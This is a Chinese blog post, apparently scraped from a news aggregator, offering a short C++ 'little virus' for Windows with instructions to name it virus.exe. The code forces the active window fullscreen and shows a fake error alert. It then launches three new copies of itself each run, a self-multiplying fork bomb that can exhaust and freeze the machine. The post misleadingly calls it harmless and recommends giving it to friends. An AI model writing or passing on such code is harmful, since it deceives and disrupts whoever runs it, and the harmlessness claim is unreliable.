当前位置: 首页 > news >正文

C++小病毒

 C++小病毒(注:对电脑无过大伤害)

短短行,创造奇迹!

把这个文件命名为virus.exe就可以使用了。

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{HWND hwnd = GetForegroundWindow();int cx = GetSystemMetrics(SM_CXSCREEN);//需要根据电脑的大小设置加减int cy = GetSystemMetrics(SM_CYSCREEN);//需要根据电脑的大小设置加减LONG_PTR last_style=GetWindowLongPtr(hwnd,GWL_STYLE);RECT last_rect;GetWindowRect(hwnd,&last_rect);LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE)& ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);SetWindowPos(hwnd, NULL, 0, 0, cx, cy, 0);UpdateWindow(hwnd);MessageBox(0,"电脑出现了问题!","警报",MB_ICONERROR);system("start virus.exe");system("start virus.exe");system("start virus.exe");return 0;
}

无实质性伤害,推荐送给好友!

http://www.lryc.cn/news/351269.html

相关文章:

  • 使用VUE3+TS+elementplus创建一个增加按钮
  • Python面试宝典:文件读写和上下文管理器以及输入输出流面试题(1000加python面试题助你轻松捕获大厂Offer)
  • Spring Boot | Spring Boot 实现 “记住我“ 功能
  • AGM AG32 MCU替代GD32F407/STM32F407的手持示波器方案
  • MongoDB基础入门到深入(八)MongoDB整合SpringBoot、Chang Streams
  • linux下的nfs概述与实验(openEuler22.03)
  • 影响Oracle数据库打开速度的因素
  • dify:开源 LLMOps平台。
  • CCF20220601——归一化处理
  • 用Ai编写一个电机驱动程序
  • 【C++入门】—— C++入门 (下)_内联函数
  • Java数据结构与算法(最小栈)
  • 7 Series FPGAs Integrated Block for PCI Express IP核 Advanced模式配置详解(三)
  • k8s 部署mqtt简介
  • 汇凯金业:量化交易中常用的数学模型有哪些
  • 局部直方图均衡化去雾算法
  • selenium环境安装和web自动化基础
  • 【UE Websocket】“WebSocket Server”插件使用记录
  • spring中依赖注入(DI)是什么?
  • paligemma、Grounding-DINO-1.5简单无需标注无需训练直接可以使用的VLM图像到文本模型
  • FreeRTOS学习——FreeRTOS队列(下)之队列创建
  • js实现鼠标拖拽多选功能
  • postgres_exporter 监控pg坑一:备库无延迟但是监控告警备库延迟
  • vue打包部署到springboot,通过tomcat运行
  • 如何有效防止数据丢失
  • linux命令中arj使用
  • UE5中搭建一个简单的海岛
  • 爬虫学习--12.MySQL数据库的基本操作(下)
  • js的算法-选择排序(简单选择排序)
  • Mac虚拟机工具 CrossOver 24.0.0 Beta3 Mac中文版